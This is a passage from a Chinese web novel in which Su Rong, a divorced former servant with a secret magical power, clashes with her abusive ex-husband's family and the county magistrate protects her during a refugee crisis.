刚放下碗,只听见远处人声嘈杂。抬头一望,原来是城防军巡逻归来。因为被流民聚集城门口阻住道路,巡逻骑兵直接纵马开道。
来不及躲闪的,轻者被马鞭狠狠抽在头顶;重者甚至有被马蹄践踏的危险。
自方婆婆不幸去世,苏蓉对流民生不出好感。
明知眼前遭驱逐的流民,不会是烧杀抢掠丰定村的那一批。但谁知道随着时间推移,这些人会不会变成面目全非?
她们尽力在行善、施粥同时,总有流民牢骚满腹。抱怨官府封城不让他们进入;讥刺富户满肚肥油,却只肯施舍给他们一碗稀粥。
就连苏蓉这种帮工,也被某些长舌人恶意指点。猜测她们什么身份,能加入施粥队伍,一副高高在上的样子?
成天劈柴烧水刷锅忙得团团转的苏蓉……
她高高在上?
无论何时何地,人性就这么丑陋。恨你有,笑你无,嫌你穷,怕你富。
苏蓉打算冷眼旁观一切。
然而,看到巡城骑兵横冲直撞,流民惊呼四散逃离,一个近在咫尺的流民小男孩,快被腾空马蹄落下来重重踩在身上时,她忍不住了!
这段时间习武,让她爆发出比正常人更快的反应速度。
她猛地蹿出粥棚,一把捞住那孩子,抱在怀里,着地朝路边滚去!
马蹄落下的阴影无限放大,近在咫尺。周围声音仿佛一瞬间按下暂停键。
直到她成功滚出马蹄践踏范围,从危险区域滚到对面粥棚边缘,时间、人物,才重新清晰,高速运转起来!
怀中的小男孩灰头土脸,仿佛吓呆了。
直到这一刻,方才后怕“哇”一声哭出来!
“苏氏!”
咬牙切齿的声音。
苏蓉躺在地上,逆着光,看清马上骑士,竟然是全副披挂的金竹海!
金竹海心中满是愤怒。
他故意让手下践踏这些该死的流民。
他们烧杀抢掠丰定村,毁他的家,还差点伤到他家人!
这种贱民如同蝗虫过境,蚁聚在县城外。
不用武力将之征服,只怕宜阳县如下一个丰定村!
但他实在没想到会有人跳出来,冒着生命危险,救下一个蝼蚁般的小男孩?
看清那道熟悉的身影,他下意识手挽缰绳,将马往旁边带了下。坐骑半身直立,咴咴长鸣,将他险些甩下马背!
回过神来,醒悟到自己动作与初衷相背驰,他更愤怒。盯着苏蓉,一对虎睛射出狂暴的光。
早知道这女人离开金家后,会跳腾这么欢实,他把她打死在家里,也不让她出门半步!
苏蓉同样愤怒。
就知道这种事,只有不干人事的金竹海才能干得出来!
冤有头,债有主。有仇有怨,奔罪魁祸首去。冲无辜老弱妇孺撒威风,有什么能耐?
她忘了。
这厮本质是个家暴男,完全不介意欺凌弱小。
两人如同扑鼻之猫,虎视眈眈盯住对方,暗自运气。
此时人群中连滚带爬挤出一个衣衫褴褛的男子,一把抱住苏蓉救出的小男孩。眼泪鼻涕一把,趴在地上,连连对苏蓉叩首。
“多谢姑娘!多谢姑娘救了我家敖儿!”
他家三代单传,孩子是他赖以生存下去的唯一支柱。好不容易一路逃难到这里,孩子若出事,他也不想活了。
金竹海愤怒道:“她救你孩子?她能不能救她自己,都是个问题!”
毫不犹豫,一马鞭搂头对苏蓉狠狠抽下!
对他而言,没什么打不下手的。以前在家打惯了。挨了打,苏氏只会一个人缩在墙角,连哭也不敢大声哭,默默舔舐自己伤痕。
而后,人前变得更乖巧。
所以,金竹海觉得,女人就是需要打!三天不打,上房揭瓦。
金竹海的暴戾,让那对流民父子都惊呆了。抱在一起,眼睁睁看着鞭子落下。
金竹海看似鞭子冲苏蓉去,实则三人站在一起,均处于鞭影笼罩范围内。
苏蓉浑身戒备着金竹海。见这男人一言不合动手,不退反进,一下子扑到对方坐骑跟前,狠狠在马身拍了一掌!
她长期干粗活,本就有点力气。加上习武,速度敏捷大增。金竹海只当她还是从前那呆呆的小媳妇,一时不慎,竟被她躲过马鞭,触及到坐骑。
顿时,刚受惊的马又弹跳起来,咴咴嘶叫着蹿向前方。金竹海一下子从马背上摔了下来,四脚朝天跌在地上,半天爬不起来。
好在跟随的军士,忙上前七手八脚拢马,扶他起来。
看热闹的吃瓜群众,没想到苏蓉如此胆大,个个安静如鸡。连那对流民父子也感到害怕,瑟缩着退后。
一时间,形成一个圆圈,把苏蓉凸显在场中。
金竹海好不容易趔趄着起来,手扶摔成八片的屁股,七窍生烟。鞭子不知飞哪里去了,手指苏蓉恶狠狠咆哮。
“把这贱人给我抓回去!胆敢袭击官兵,这颗脑袋她是不想要了!”
这回不狠狠收拾苏蓉一顿,他不姓金!
堂而皇之的罪名,不相信那叶清辞还能来救人?
何况他现在身为七品督尉,论权势不比县令低多少。危难当头,叶清辞还得指望他们驻军所出力。
第92章 闲不住回来当差
“住手!”
不等军士围住苏蓉动手,一道冷峻声音穿透人群。
众人顺着声音望去,只见叶清辞带着傅振赶到了。
叶清辞也是来巡城的。身为一县父母官,他为宜阳县安宁和谐,尽了最大努力。
然而天灾人祸,不是他个人之力能抗衡。
满腹焦虑,巡视到南门。见这种非常时期,金竹海还在肆意挑衅流民们敏感的神经,不由得满心大怒。
“金竹海,你身为督尉,理当知法守法一心为民!如今外敌当前,百姓遭难,你不思如何体恤民情,反而纵马践踏无辜,欺凌妇女,是何居心?”
若不是这种时候需要与驻军所全力配合,他真想治这金氏狂徒一个虐民之罪!
金竹海撇嘴,瞪苏蓉一眼。
这女人运气真好!
眼见快能把人捉进驻军所,届时是生是死,由他处置。没想到叶清辞这小子出现,又站在苏蓉一方。
以前他不会多想,只当叶县令看不惯自己。现在看着苏氏那越长越开的模样……
哼!
难不成这小子对苏氏起了某种心思……
他拥有过的女人,即便他不要了,也不能容忍其跟随别的男人!
当然,明面上顾忌对方身份,不能争。不然以叶清辞头铁的个性,真可能不管不顾,当众执法给他下不来台。
“这伙流民堵住城门,故意阻碍我等行使公务。我不过性急了些,催促他们离开,怎么就故意纵马践踏他们了?”
“还有这苏氏,故意惊我马匹,害我摔倒。民冲撞官,不该法办?”
听着他信口雌黄,苏蓉及百姓两眼喷火地怒视他。
叶清辞哼了一声。
“是非曲直,公道在人心!金竹海,现在非常时期,本官不追究你的过失,你自己好自为之吧!”
金竹海恨恨看他一眼,又怒视苏蓉,厉喝手下:“我们走!”
众人急忙闪出一条道路,目送金竹海带领巡城人马,风驰电掣回城,身后留下滚滚烟尘。
苏蓉见着叶清辞面色不好,有些心虚地小步挪过去。
“大人……”
叶清辞没好气瞅她一眼。
自从认识这苏娘子,不是在救她,就是在救她的路上!
自己是什么身份有什么能力没有自知之明吗?自顾不暇自身难保,还跃跃欲试解救他人苦难!
方才远远瞧见一团熟悉身影,滚过飞驰的马蹄下,他心脏仿佛停跳了!稍微速度慢一点,可能他赶到救起的,只是一具死尸。
想到那种可能,他恨不得抓住苏蓉,劈头盖脸好好痛骂她一顿。
多大的人了,能不能长点心!仗着学了几天基本功,就敢在马蹄下救人。
金竹海身后还跟着大队人马。躲过一匹马四蹄,躲得过后面无数马蹄践踏?
总之,气不打一处来。
大庭广众不能发作,要硬生生忍住,憋得脸都青了。
傅振没察觉出自家大人心情不美好,冲苏蓉竖起根大拇指,笑道:“苏娘子,有胆识啊,敢在马蹄下救人!看来我这师傅没白当?”
叶清辞教了几天没再管苏蓉,后期都是他指点苏蓉基本功。所以,称之为苏蓉师傅不为过。
徒弟有能耐,他这师傅自然面上有光。
听了夸奖,苏蓉嘴角下意识上扬。随即见叶清辞怒瞪傅振,她赶紧压扁嘴角。
“逞血气之勇,轻身犯险,与官兵起冲突。你还夸她有胆识,是有胆识找死吗?”
傅振汗流浃背,给了苏蓉一个自求多福的眼神,灰溜溜退出风暴范围。
苏蓉给愤怒的眼神锁定,头皮发麻。没想到叶清辞轻易不发火,发火这么可怕。当初在公堂上感受的压力,现在席卷而来。
本来觉得自己没错,给对方两道死亡视线锁定,下意识又觉得心虚。
众目睽睽,叶清辞训了几句不好多说,只是对苏蓉冷冷道:“你若是在家闲不住,非得做这份工,衙门差人,明日回来衙门当差!”
周围吃瓜群众,顿然无比羡慕地看向苏蓉。
众多流民被拒入城,无数城内百姓想加入施粥队伍混口饭吃,而县令大人主动邀请苏蓉回衙门当差。
人比人,简直气死人。
苏蓉却觉得些许委屈。
什么叫她非得做这份工,在家闲不住?她积极响应官府号召,不也是为他分忧吗?
但当着这么多人不好反驳,只得恭恭敬敬屈膝施一礼,应承:“是!”
叶清辞瞥她一眼:“傅振,你送苏娘子回城。”
闹出这么大动静,苏蓉指定不能在城外呆了。
被这么多双眼睛盯着,加上得罪金竹海……
叶清辞下决心,以后要把苏蓉置于自己眼皮底下。
傅振人麻了。
他的职责是护卫大人。怎么就三天两头被派去护卫苏娘子了?城外这么多流民,乱糟糟的……
叶清辞一对厉目横过去,傅振无瑕思索,赶紧招呼苏蓉动身。早点把人送回家,他还能早点赶回来。
回到家,张如英和小兰迎接出来。小兰一头扑到苏蓉怀里,苏蓉坐下来,直接把人抱在怀里。只有这样,小兰才有安全感。
听苏蓉说明情况,明天要回衙门上工,张如英表示支持。
反正人回县城了,苏蓉与衙门的关系人尽皆知,避嫌没啥用。不如想点好的,帮叶清辞做好后勤工作,支持官府守城为上策。
看着张如英艳羡的样子,苏蓉想了想。
“叶大人说衙门缺人,很多杂役都回家了。不如我找大人说说,将你也安排进厨房当差?”
张婶子的厨艺一旦展示,只怕姜厨娘三名大厨,以后都得靠边站。
张如英先是高兴,随即摇头。
“不成,家里这么多储粮,没人帮你看家怎行?还有小兰,好不容易熟悉这里环境,你把她带去衙门住,又要不习惯了!”
苏蓉想想也是。摸着小兰的头,歉意地说:“张婶子,那麻烦你了。以后你也不能加入施粥队去城外?”
张如英笑道:“有人去做工养活我,我就在家做饭,带孩子,不知多轻松。你还说麻烦我?”
两人相视而笑。
这种患难中延伸出来的深厚友谊,是她们当初一起在邓宅做工,绝对没想到的。
天气一天天转凉。
苏蓉买的被子不多,一床一条。但有小兰这个天然的小火炉,抱在怀里睡,暖和舒适得很。
夜深人静,迷迷糊糊听到院墙外发出声音,异样莫名。
“扑通”!
伴随很大一声响亮,仿佛重物落地,将熟睡中的三人同时惊醒——
第93章 罪有应得
张如英披衣下床,顺势在床头摸到根准备好的粗木棍。苏蓉安慰吓得瑟瑟发抖的方小兰不要怕,捏着粒豆子,蹑手蹑脚跟在张如英身后。
她们没贸然开门出去,而是透过窗户缝隙,借助外面朦胧月色,屏息观察院中动静。
隐隐约约,只见墙根处一坨黑影蠕动。听到那细微忍耐的呻吟,判断是个男人。
只有一个人,张如英胆子立刻壮了。手放在门上,想冲出去痛揍这个夜半三更潜入自家不怀好意的贼。
苏蓉发现那贼身下有什么东西亮晃晃闪光,疑心对方携带凶器,赶紧拉住张如英,示意她别冲动。
过了会儿,那人慢慢爬起来,手里果然握着一把匕首。
张如英庆幸自己没贸然出去的同时,感到更恐怖了。因为,此时先后又有两条壮硕的黑影,翻过苏蓉家低矮围墙,与持刀人站在一处。
左右邻居逃难去了,她们居住的地方是条深胡同。夜深人静,闹起来城防军能不能及时赶到?
对方显然踩点摸清她们家情况,知道只有两大一小三位女性居住,才会选在这种时候登门。
张如英握棍子的手不住发抖。
苏丫头瘦弱身板,小兰还是个孩子,这打起来,她就是主战力,能对付三个五大三粗的男人吗?
最怕的是对方不仅图财还害命!
她立即转头,想招呼苏蓉搬家具,至少先把门堵住。一回头,傻了眼,苏蓉竟然已经走到堂屋那去了。
难不成打算开门硬拼?
她急忙冲过去,想要阻止。
却见堂屋内亮起一道光,没来得及反应过来,那光化为清风,从门缝卷出屋,下刻,惊心动魄的三声惨叫,划破黑漆漆的长空!
三名趁夜潜入民宅,意图不轨的歹徒,以三种不同姿势,呈抛物线被扔向高空。越过围墙,而后重重跌落街道!
其中一个坠落点不好,先将对面房顶砸了个坑后,才骨碌碌同一堆碎瓦片,天女散花着地。
两个当场去世,一个骨头不知摔断几根?隔了半晌,摔懵逼的伤者,发出惨绝人寰的哀嚎。
张如英目瞪口呆看着嘴角上扬,眼睛发光的苏蓉。本想问她有否看见方才发生的诡异事?然而苏蓉的眼神,让她突然间醒悟。
什么诡异什么光,那根本是苏丫头自己弄出来的吧!
所以,一开始她,不!是所有人都轻视了这文弱可怜的小媳妇?
苏蓉回头,静静看着张如英。
从把张如英接进家住,就代表她把这位胖胖的厨娘,当成了自己人。愿意视同小兰一样,给予保护。
吃住一起,睡一间屋,她的秘密,瞒不过亲近的人。
所以,有意露一手,就看张婶子的选择了。
方小兰从卧室出来,第一时间扑到苏蓉怀里。
她同样看见姐姐手里抛出一道光,然后听到屋外响起毛骨悚然的叫喊。不过只要钻进姐姐怀里,她便不怕了。
姐姐温暖的怀抱,能让她忘记一切烦恼,备生勇气。
张如英木立片刻,结结巴巴。
“苏、苏丫头,方才,我好像见到菩萨显灵了……你,有没有瞧见?”
苏蓉深喟一笑。
“我觉得,应该是那位……岷郡王氏大侠,又来拯救我等百姓了?”
“对对!”
张如英重重一拍大腿。
“他老人家行侠仗义,无处不在!”
两人相视一笑,随后,跟闻声惊动的街坊一起,开门出院,围观热闹。
有人胆子大,用棍子挑去幸存黑衣人的蒙面巾,打量对方下巴那撮老鼠胡子,惊讶地道:“这人我认得!不是经常在市井厮混的泼皮唐四吗?”
“穿成这样还带刀,半夜三更出现在人家民房外,能干啥好事?”
“走夜路多了,迟早撞见鬼!”
“活该!罪有应得……”
没人觉得三人从平房屋顶上滚下来,摔成这样可疑。
只是你一言、我一语,热火朝天评论。把这段时间被关在家里挣不到钱、担惊受怕的窝火,全部发泄出来。
唐四没能撑到官兵赶到,在老百姓最后几口唾沫的攻击中,不甘心地永远闭上双眼。
张如英痛快随众,朝尸体多吐几口口水。
若不是苏丫头有神通,今夜躺血泊里的,指不定是自己三人了。
渣滓,死得好!
没想到苏丫头竟然是位深藏不露的高手?她庆幸自己一开始善待对方,如今算抱上了大腿。
乱世中,这比什么都重要。
听说米市街出事,大晚上的,叶清辞带着衙役,亲自跑了一趟。
见苏蓉好生生站在人群中看热闹,心里悄悄松了口气。
没怎么勘察现场,直接让人收敛尸体,以三人夜半入户行窃,不小心失足结案。
大敌当前,对于这种后方给他不停找事,趁火打劫的宵小之徒,深恶痛绝。
就算哪家户主偷摸把这三个贼人打下房顶的,他也不想追究。
天明金竹海闻讯,气得在驻军所内摔了一个茶杯!
他花不少钱,买通唐四几个地痞,半夜去给苏蓉一个教训。结果唐四三人死了个不明不白?
再一细打听,官府已经草草结案了。
气得他又摔了茶壶!
这肯定是叶清辞暗中派人在保护苏氏!
对方司马昭之心,人尽皆知。
扫视屋内的冷衾寒榻,回想以前三年,总有人夜掌灯火候他回来,送上一盏温热的茶水。蜷缩床脚,用瘦小身体,在冷天为他温足。
他喉头忽然发干,涌出一抹说不清道不明的情绪。
原来从不在意的东西,失去后才知道自己习惯了。
他茫然坐着,想着苏氏。想着她那变了很多的容颜,冰冷坚毅的视线,还有她看向叶清辞的那种眼神。
就算在过去三年,她也没有这样看过他!
心浮气躁,金竹海起身,如同困兽般在屋里转悠。两圈后他忽然停下来,恶劣地一巴掌拍在墙上!
既然感到后悔,那就想办法把本属于自己的东西抢回来。
叶清辞,想屁吃!
门外,军士禀报:“金督尉,金老夫人来了!”
金竹海瞬间把苏蓉丢到后脑勺,深深皱起眉。
第94章 真缺人
自从他老娘住进邓家,三天两头,跑来找他说邓家后宅鸡毛蒜皮的小事。
去二儿媳娘家住是老金氏自己的决定,现在邓家呆着不开心,又来找他抱怨邓家姨娘的事。
他还能把手伸到弟妹娘家里去不成!
何况结亲,当初本就是看中邓慧娘家,现在闹成这样,结亲反结仇?
金竹海头大了一圈。自己老娘,又不能拒之门外,只得出门,亲自把人迎进来。
老金氏身边跟了两个丫头。
一个是当初金竹海出银子,老金氏亲自去牙行挑的。听话能干活,但人有点蠢蠢的,取名翠花。
另外一个机灵,还有两分姿色,看见金竹海会脸红。
名叫桃枝。
原本是邓慧的陪嫁丫头之一。过门后邓慧主动献给婆婆表孝心,让她代替自己服侍老金氏。
别说,有这丫头在老金氏跟前甜言蜜语,老金氏对这个二儿媳观感好不少。
就算邓慧一回娘家,带着金安福窝去刘夫人院子,她也没想过是邓慧耍心眼。而把自己受亏待的委屈,认为是陶姨娘一手造成的。
找不到老二两口子,邓教谕那里不好告状,只能跑来找老大诉苦。
苦了翠花,一人侍候多个人,包括掐尖要强的桃枝。
金竹海掏钱让翠花去外面买些好酒菜,招待老娘。桃枝在旁边端茶倒水,频送秋波,他只做不见。
桃枝那搓衣板身板,完全让人生不出欲望。脸生得端正有啥用?还不如现在的苏氏!
何况身份仅仅是个丫头。他有大志向,才不会沉溺儿女私情。
不说金竹海脑壳疼听老娘又一番诉苦抱怨。苏蓉回到衙门上工了。
没有看见叶清辞等人的身影,但曾嬷嬷和姜厨娘很高兴她的回归。
曾嬷嬷年纪大了,拖着老迈身体,一人要干平时三个人的活儿,辛苦可想而知。
厨房杂役更是散尽大半,厨师也跑了位。但吃饭衙役没少,反而因加班,要添顿夜宵。哪怕叶清辞把工钱给众人又往上调了些,牛马们依旧吃不消。
苏蓉这是救火队啊!
上午去厨房打杂帮忙到午后,见缝插针吃了顿饭。紧接回县署內宅,大搞整个四合院的卫生。
用不死人往死里用。
若能回到昨天,苏蓉想扇自己几巴掌。那个听了叶清辞邀请,让她回衙门继续做工的傻蛋是谁啊喂!
她一开始窃喜个毛线。
人家这是缺人!真缺人!
=.=……
一连三天,累得半死的苏蓉总算盼到衙门又增添三个杂役上工。
这三人身世背景上面查个底朝天,确定没有问题才放进来。两个分在厨房,一个分在县署內宅。
只进县署內宅这位,不比曾嬷嬷年轻多少。好多爬高蹿低的活儿,还是只能苏蓉做。不过至少有个换手人,不用再去厨房帮工,轻松不少。
第四天苏蓉得以正常时间下工。
走出县署內宅,刚碰见傅振急匆匆回来,直奔厨房。见到她随口问:“今日厨房烧鸡没有?饿杀我也!”
听了这话,苏蓉突然意识到,不仅很久没有见到厨房烧鸡,一日三餐,多了杂粮,荤腥也少……这是不是代表县衙的粮也正在减少?
流民们拥堵四门,严重影响城内市集买卖。以前有络绎不绝的乡民进城卖自家种的蔬菜,现在几乎绝迹。
县衙如此,百姓家又该怎样?
想到这段时间大家风声鹤唳,听到杂役们悄悄议论谁家夜里被贼光顾了。她心头倏然蒙上层阴影。
她急忙追上傅振步伐。
“傅爷,城外情况还好吗,怎么这几天没见大人?”
傅振停住步子瞅她一眼,居高临下伸根指头戳戳她带歪的包头巾。
“现在城外乱得很,你别想着乱跑,给大人和我添麻烦!大人日夜巡城,我也是好不容易抽空回来一趟,让厨房做点好吃的,给大人送过去。”
苏蓉连忙让道,目送他匆匆前行。
走两步,傅振突然回头,拽住她手臂,把她拉到没人经过的廊下花树中,一脸严肃。
“苏娘子,有句话我对你说了,你千万别告诉任何人!”
苏蓉下意识紧张起来,眼睁睁看着对方。
“是什么事?傅爷你说,我绝不告诉第二个人!”
傅振沉默一会,开口。
“大人让你回衙门,是为了保护你。但……若有一天大人和我们不在宜阳县了,你立刻离开县衙,隐姓埋名生活一段时间,明白吗?”
什么!大人不在宜阳县?
意思是……叶清辞这县令可能做不长久吗?
苏蓉震惊地瞪大双眼。想要再问,傅振摸摸自己肚皮,咕哝一句:“饿死了!”
掉头就走。
苏蓉盯住他背影踟蹰,到底忍住,没跟上去细问究竟。
这句话的信息量,其实已给她很多启示了。出于对傅振的感激,她不应该刨根究底问对方不愿说的事。
叶清辞、傅振、燕彬三人均来自京城,有太多恩怨纠葛她不清楚。知道越多,死得越快。
苏蓉不禁想到一件事。
叶清辞当着燕彬的面,与她划清界限,是否为了保护她呢?
所谓“弃妇”“卑贱”之类的话语,与一向凌然正气的青天挂钩,委实太违和了。
如果真正嫌弃她,没必要暗中这么照拂她。直接将她辞退赶出衙门,不是一劳永逸?
不敢想下去,苏蓉急忙走出衙门。害怕自己好不容易安定下来的心,又一次动摇。
刚下台阶,与一对迎面而来的男女撞个对脸。抬头看清是金安福与邓慧,身后还跟着丫头婆子,她顿时觉得好生晦气!
那两人认出她,同样没好脸色。
丫头自然是认得苏蓉的,急主子所急,怒主子所怒,上前叉腰呵斥。
“你这下人咋走路的?如此冒失,差点撞到我家娘子!”
苏蓉瞥一眼相距有五六步的邓慧……
所以说,欲加之罪何患无辞?
她不客气地一把将那丫头推开。干惯粗活手劲大,差点送对方一屁股墩儿坐地上。
“滚开,好狗不挡道!”
邓慧等人脸色变了。
“你这贱皮子横什么!以为有人撑腰了不起?”
金安福大怒,一个健步蹿过来,手指苏蓉鼻子:“我大哥现在还是七品督尉呢,不比你后面的芝麻县令官小多少!”
第95章 人狂有祸
苏蓉一巴掌将他手指拍开,冷笑。
“如果我没记错的话,金安福,你现在该在轮值吧?所有人都在忙,废寝忘食干活、守卫衙门和巡城,只有你……”
她瞟邓慧一眼。
“陷在媳妇的温柔乡中,醉生梦死。别人下工了,你才来应付点个卯!”
迟到缺勤旷工,底下衙役沆瀣一气欺瞒上司,还敢这么嚣张?
金竹海给他的胆?
但金竹海可管不着衙门。
金安福暴跳,掩饰不住心虚。如果和苏蓉硬杠,估计结局吃亏的又是他。
毕竟不占理,叶县令还偏袒这个讨人嫌的前大嫂。
“关你什么事?你不过是个杂役,我当没当差,点没点卯,轮不到你过问。”
旁边邓慧同样心虚。
她没忘记当日自己恩将仇报,将苏蓉推向流民挡灾。虽然事后没听到任何风言风语,猜测苏蓉可能没把事说出去。
但她留意到苏蓉黑漆漆的双目幽深不见底,瞟得她遍体生寒。她不由自主便想,对方一定是在等待时机,积蓄力量准备报复她。
她不由得去拉金安福。
“夫君,算了,跟一个下人计较什么!你快回班房去吧,别真的点卯迟到了?”
苏蓉冷笑。
点卯是这个时间段吗?
金安福满嘴谎言,连自己媳妇也不说真话。不过,什么锅配什么盖。如此渣滓,活该是邓慧的男人。
她打算走。
但有了邓慧碰触,金安福莫名来劲了。娇妻面前,怎能对外人示弱?他反手抓住苏蓉肩头一拽,嚷嚷。
“慧慧,她方才撞你,不能这么轻易放过她!让她道歉、赔钱!就算县令大人来了,我也这般说,不能平白无故让你受人欺负。”
苏蓉……
古代版碰瓷,原来是这样的?看看周围,没人。远处倒是县衙后角门,但里面轮值的衙役就算目睹事实,也只会站在金安福一边。
因为他们一伙的。
苏蓉笑眯眯掏豆子。
道歉,赔钱是吧?
“我赔你们每人一套断手断脚套餐,可好!”
“你说什么?”
金安福瞪着死鱼眼,以为自己听错了。
“你们在这里做什么?”
蓦地,一道清冷的声音传来。
所有人均是身子一震,随后,转头望向路边。
只见叶清辞骑着高头大马风尘仆仆归来,身后跟随一队官兵。尽管肉眼可见的疲惫,但两道剑眉下,一对凤目依然亮似晨星。
邓慧眼睛悄悄亮了下,随即黯淡下去,低头退到金安福身后。
苏蓉略遗憾地把豆子揣回衣兜。暗想,她最近好像太暴躁,不好。以后至少要忍到夜深人静,无人时再动手!
金安福面色发白。
怎会这么巧!
早知他就不跟苏氏多作纠缠了。明明一开始直接去后角门换班,刚好来得及与叶县令错过。
他能哄邓慧,瞎说自己上值点卯的时间;也能欺压苏氏,对方拿他没办法。但如果翘班,刚好被县令大人碰到……
叶清辞一看,苏蓉孤身一人,被金安福几人围住,就知道自己貌似又赶上了趟。心里既无奈又愤怒。
无奈的是苏娘子这招黑体质;愤怒的是他都表现得如此明显了,金家这伙不知天高地厚的人,还敢在他眼皮底下欺负苏娘子!
当他是死的?
想到这几天,郑校尉与金竹海勾结,处处找茬给他添堵,有意不配合工作,他危险地眯缝起眼睛。
“韩班头!”
他看一眼后角门听到动静,跑出来迎接的衙役。此人是继任鲁班头位置的,看在人尚算沉稳,提拔上来。
“本县传令过,这段时间属于非常时期,每名差役无论家中发生什么情况,必须吃住在衙门。这金安福怎生安排的,竟然在外闲逛?”
他鞭梢一指金安福,韩班头及金竹海等人,全部额汗涔涔。
韩班头飞快地偷瞄一眼浑身威压气息的叶清辞,再瞄金安福一眼,垂下头双手抱拳。
“回大人,金安福今日点卯缺勤!属下也不知道他干什么去了……”
金安福和身为杂役的苏蓉起争执,他自然选择站位金安福,毕竟是同僚。
但大人面前,他敢帮助金安福继续撒谎吗?什么都比不过他养家糊口的饭碗!
不过,他还是情留一线。只说今日,没说日日金安福如此。仗着当督尉的大哥,肆意让其他衙役顶班,大伙敢怒不敢言。
金安福得意。
谅这韩班头不敢说他不是!
“大人,属下新婚燕尔不到一个月。今日家有急事,属下妻子要去医馆看病,故而属下陪她一道。虽然属下点卯迟到,但情有可原吧?”
他故意点明两点:新婚、妻子生病,叶清辞还不知好歹处罚他,可能会落得一个不体恤下属的坏名声。
为证实自己所言非虚,他有意推推邓慧,满脸关心:“慧慧,你身体不适,先回去吧,别老在这里站着,风大容易着凉。”
邓慧心领神会,扶着自己头一脸娇弱。
“夫君,那我先回去躺着了……唉,这头好疼!”
当然,她那双眼睛不老偷瞄叶清辞,这病美人装得就更像了。
叶清辞皱眉。寻思是不是重拿轻放,人心惶惶之际不便多生是非。傅振手提食盒,迈着大步子走出来。刚好撞见这一幕,不禁哂笑。
“金安福,你自从在衙门当差,哪一天准时点卯过?先有鲁班头庇护你,现有韩班头为你打掩护!连我这县尉轮值,你也敢在我眼皮下偷偷摸鱼?”
“平常就算了,非常时期,照旧懒散。你这让大人如何树立威信,整肃秩序?”
苏蓉默默在心里为傅振伸根大拇指,点赞。
这话,太及时太给力了!
叶清面脸色一沉,看向神情顿时变得慌乱的金安福。
“来人,金安福身为公门中人,玩忽职守,目无法纪,将其重责二十棍子后赶出衙门,永不叙用!”
韩班头愣住不太敢动。跟随叶清辞巡城的军士,自然听县令的。
叶清辞一个眼色丢过去,立即有几名军士下马,不管金安福如何大叫大嚷,抓住这小子当街拖翻。
四人按手按脚,另一人没水火棍,就势倒操起枪杆子,噼噼啪啪,狠狠抽打金安福屁股二十棍子。
打得金安福鬼哭狼嚎,嚷嚷要找自己大哥。不过挨了几棍子,又忍不住哀嚎,求叶清辞开恩。
第96章 不作不死
傅振好整以暇,一手提食盒,一边一本正经报数。
他是不懂燕彬为什么把金安福这小子重新述职回衙门,明明金家兄弟都不是好东西。现在总算逮到把柄,把人赶出衙门,也算清理门户了。
不然以后宜阳县乱起来,他和大人还得担心背后!
邓慧上了轿没来得及走,目睹此情形,浑身发凉。侍女和轿夫等着她示下,是不是回去看金安福。
但她一想到叶大人瞧她的眼神,说不定会将她视为金安福一路货色,就觉得万箭穿心。
哪怕没有缘分在一起了,她也不要在叶大人心目中留下那么难堪的印象。
手扶额头,她发出一声脆弱呻吟:“头真的疼起来了……我们去医馆!”
轿夫和侍女对视一眼,二话不说,起轿开溜。
给他们发工钱的是邓慧,可不是金家人。那自然谁给钱,听谁的!
等二十棍子打完,叶清辞觉得这段时间被金竹海、郑校尉两人阴阳怪气,恶心到的心情好上不少。
让人抬上金安福,连同韩班头帮忙收拾出来金安福的行李卷,一并送去驻军所,丢给金竹海。
众目睽睽,处置金安福在理。即便金竹海闻讯气得七窍生烟,也不敢明面说他处置得不对。
完事叶清辞带着傅振继续巡城去了。苏蓉独自回家,一路嘴角翘得比AK难压。
果然看着仇人零碎受苦,比一刀捅了对方更痛快!
金家人,不作不死。
此后上工,在衙门看不见金安福恶心的身影,神清气爽。
听杂役们私下传小道消息,金竹海为此还找叶清辞理论一通。不过被叶清辞义正言辞,驳斥得悻悻离去。
金竹海回去后,将弟弟安置在驻军所当了一名小兵。
同样吃公家饭,但当兵的风险可就大多了。日日需得操练;有事需要第一时间上;更没有当衙役时的灰色收入。
兄弟俩指定恨透叶清辞,还有苏蓉。
不过苏蓉才不怕他们。
有金手指在,她只需担心如何不引人怀疑地除掉来犯者。
住在隔壁的向婶一家,以及三个书生,一直没回来过。事实上能躲乡下,或者有条件迁居的,都离开宜阳县了。
城里上万户民众,至少走掉三分之一。战争阴霾,笼罩整个大靖朝。
听说三皇子派遣的大军最近也赶赴前线,与二皇子、四皇子军队鏖战,呈胶着状态。如今宜阳县才算暂时安定。
但三皇子一旦兵败,敌军长驱而入,宜阳县首当其冲便危险了。
对于老百姓,更危险的是迫在眉睫的内乱……
限量供应米粮,对有钱有势的人不过是锦上添花。但对于平民而言,不便出门做工,等着坐吃山空,那是杯水车薪,入不敷出。
官兵没有控制住的地方,滋生黑市,以物易物。没有受到保护的交易,免不了有人吃亏,有人被欺凌。
面对这种情况,活不下去的老实人无助等死。而不甘于现状的,便会穷则思变。
苏蓉家遭贼后,民间仿佛打开潘多拉魔盒。
最开始只是偶尔有人家丢东西。发展到后来,光天化日撬人门锁,翻进后院。巡防兵疲于奔命,索性睁眼闭眼,抓大放小。
若非叶清辞身先士卒,带领三班衙役日夜巡城,这城镇还要乱上加乱。
郑校尉和金竹海凭一己之私,借口驻军所兵马不能随意调动,才造成眼下这般局面。
苏蓉冷眼旁观,替叶清辞忧心。这局势多久才能恢复正常,或则更加恶化?
张如英惦记张记炊香阁,隔几日会回去看看。虽然里面没什么值钱东西,但桌子板凳钱买来的,还有大件的床和柜子之类。
有一天苏蓉下工回来,却见张如英哭丧着脸。懂事的方小兰,默默在旁端茶递水,安抚张如英情绪。
“出什么事了,张婶子?”
预感到不详,苏蓉忙问。
张如英擦了把眼角。
“苏丫头,隔壁窑货店昨夜被抢了,夫妻俩带着孩子,幸好晚间留宿娘家,没及时赶回店,不然人怕是也……”
她见苏蓉怔怔的,没意识到问题严重性,补充道。
“咱们店也没逃过!桌子板凳被划得稀烂,厨房一口大铁锅砸凹陷。”
这是捞不着钱粮,恼羞成怒,祸害上她们家具了。
苏蓉皱眉,把害怕着的方小兰揽到身边,从带回来的食盒中,挑了块肉放进她嘴里。等方小兰放松下来,眯着眼开始享受美食,才开口。
“城防队怎么说,报官了吗?”
这种鸡鸣狗盗之事,没出人命,一般是衙门小吏在管。财产损失不严重,派个捕头来看看,备案都算给你面子。
现在整个城镇人心惶惶,隐藏巨大隐患,官兵哪会顾及到这一块。
入室行窃而已。
张如英自然清楚这一点。只是今日见窑货店夫妻坐门口哭天喊地太惨,加上自己同受其害,起了兔死狐悲之心。
